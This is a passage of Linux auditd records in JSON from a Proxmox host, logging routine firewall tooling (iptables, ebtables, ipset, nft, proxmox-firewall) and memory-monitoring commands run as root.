proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964894842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964894.842:63091): arch=c000003e syscall=59 success=yes exit=0 a0=64a776109690 a1=64a77610e9a0 a2=64a77612dc30 a3=8 items=3 ppid=60443 pid=60534 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"qm\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285627,"@rawstring":"node=pve type=PATH msg=audit(1781966285.627:69185): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965600622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965600.622:66301): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964891.033:63090): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285620,"@rawstring":"node=pve type=PATH msg=audit(1781966285.620:69184): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965600620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965600.620:66300): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964891.027:63087): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285620,"@rawstring":"node=pve type=PATH msg=audit(1781966285.620:69184): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965600618,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965600.618:66299): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.019:63084): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285613,"@rawstring":"node=pve type=PATH msg=audit(1781966285.613:69183): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965598619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965598.619:66298): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964886011,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.011:63081): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285613,"@rawstring":"node=pve type=PATH msg=audit(1781966285.613:69183): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965598619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965598.619:66297): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964886005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.005:63078): arch=c000003e syscall=59 success=yes exit=0 a0=5e5cc8ca2b60 a1=5e5cc8caee80 a2=5e5cc8c7c680 a3=5 items=2 ppid=60523 pid=60529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285607,"@rawstring":"node=pve type=PATH msg=audit(1781966285.607:69182): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965598619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965598.619:66296): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964886002,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.002:63077): arch=c000003e syscall=59 success=yes exit=0 a0=5e5ca8a13ac8 a1=7fff2bbfc630 a2=5e5cc8c7c680 a3=5e5ca89f724e items=2 ppid=60523 pid=60525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285607,"@rawstring":"node=pve type=PATH msg=audit(1781966285.607:69182): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965598612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965598.612:66295): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964886001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.001:63076): arch=c000003e syscall=59 success=yes exit=0 a0=7fff2bbfc5f0 a1=5e5cc8c9e200 a2=5e5cc8c7c680 a3=5 items=2 ppid=60523 pid=60524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285601,"@rawstring":"node=pve type=PATH msg=audit(1781966285.601:69181): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965598612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965598.612:66294): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.997:63074): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966285601,"@rawstring":"node=pve type=PATH msg=audit(1781966285.601:69181): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965598612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965598.612:66293): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885991,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.991:63073): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966284251,"@rawstring":"node=pve type=PATH msg=audit(1781966284.251:69180): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.095:66292): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964885985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.985:63072): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966284251,"@rawstring":"node=pve type=PATH msg=audit(1781966284.251:69180): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596092,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.092:66291): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964885979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.979:63071): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966284222,"@rawstring":"node=pve type=PATH msg=audit(1781966284.222:69179): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.091:66290): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964885973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.973:63070): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966284222,"@rawstring":"node=pve type=PATH msg=audit(1781966284.222:69179): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.091:66289): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964885970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.970:63069): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5c032cbe5740 items=0 ppid=1156 pid=60518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966281048,"@rawstring":"node=pve type=PATH msg=audit(1781966281.048:69178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.085:66288): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964885968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.968:63068): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc146910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281048,"@rawstring":"node=pve type=PATH msg=audit(1781966281.048:69178): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.079:66287): proctitle=\"ip6tables-save\""} {"@timestamp":1781964885963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.963:63067): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc131120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281048,"@rawstring":"node=pve type=PATH msg=audit(1781966281.048:69177): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.071:66286): proctitle=\"iptables-save\""} {"@timestamp":1781964885958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.958:63066): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc131150 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60516 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281048,"@rawstring":"node=pve type=PATH msg=audit(1781966281.048:69176): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.063:66285): proctitle=\"ip6tables-save\""} {"@timestamp":1781964885953,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.953:63065): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139af0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60515 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=PATH msg=audit(1781966281.040:69175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.052:66284): proctitle=\"iptables-save\""} {"@timestamp":1781964885948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.948:63064): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131150 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=PATH msg=audit(1781966281.040:69175): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.046:66283): proctitle=\"ebtables-restore\""} {"@timestamp":1781964885944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.944:63063): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c00a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=PATH msg=audit(1781966281.040:69174): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.042:66282): proctitle=\"ebtables-restore\""} {"@timestamp":1781964885938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.938:63062): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966281040,"@rawstring":"node=pve type=PATH msg=audit(1781966281.040:69173): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.036:66281): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964885932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.932:63061): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=PATH msg=audit(1781966276.033:69172): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596030,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.030:66280): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964885929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.929:63060): arch=c000003e syscall=59 success=yes exit=0 a0=5691358860a0 a1=569135882e20 a2=569135864680 a3=5 items=2 ppid=60504 pid=60510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=PATH msg=audit(1781966276.033:69172): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.022:66279): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964885925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.925:63059): arch=c000003e syscall=59 success=yes exit=0 a0=56911cb25ac8 a1=7ffd8cbc0680 a2=569135864680 a3=56911cb0924e items=2 ppid=60504 pid=60506 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=PATH msg=audit(1781966276.033:69171): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.015:66278): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964885924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.924:63058): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8cbc0640 a1=56913586b310 a2=569135864680 a3=5 items=2 ppid=60504 pid=60505 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276033,"@rawstring":"node=pve type=PATH msg=audit(1781966276.033:69170): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.009:66277): proctitle=697073657400726573746F7265"} {"@timestamp":1781964885920,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.920:63056): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60504 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=PATH msg=audit(1781966276.023:69169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965596000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965596.000:66276): proctitle=\"ip6tables-save\""} {"@timestamp":1781964885914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.914:63055): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=PATH msg=audit(1781966276.023:69169): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.992:66275): proctitle=\"iptables-save\""} {"@timestamp":1781964885908,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.908:63054): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=PATH msg=audit(1781966276.023:69168): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.986:66274): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964885904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.904:63053): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0cb1c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966276023,"@rawstring":"node=pve type=PATH msg=audit(1781966276.023:69167): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595980,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.980:66273): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964885898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.898:63052): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134e60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275587,"@rawstring":"node=pve type=PATH msg=audit(1781966275.587:69165): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.973:66272): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964885892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964885.892:63051): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecba2b2700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275587,"@rawstring":"node=pve type=PATH msg=audit(1781966275.587:69165): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 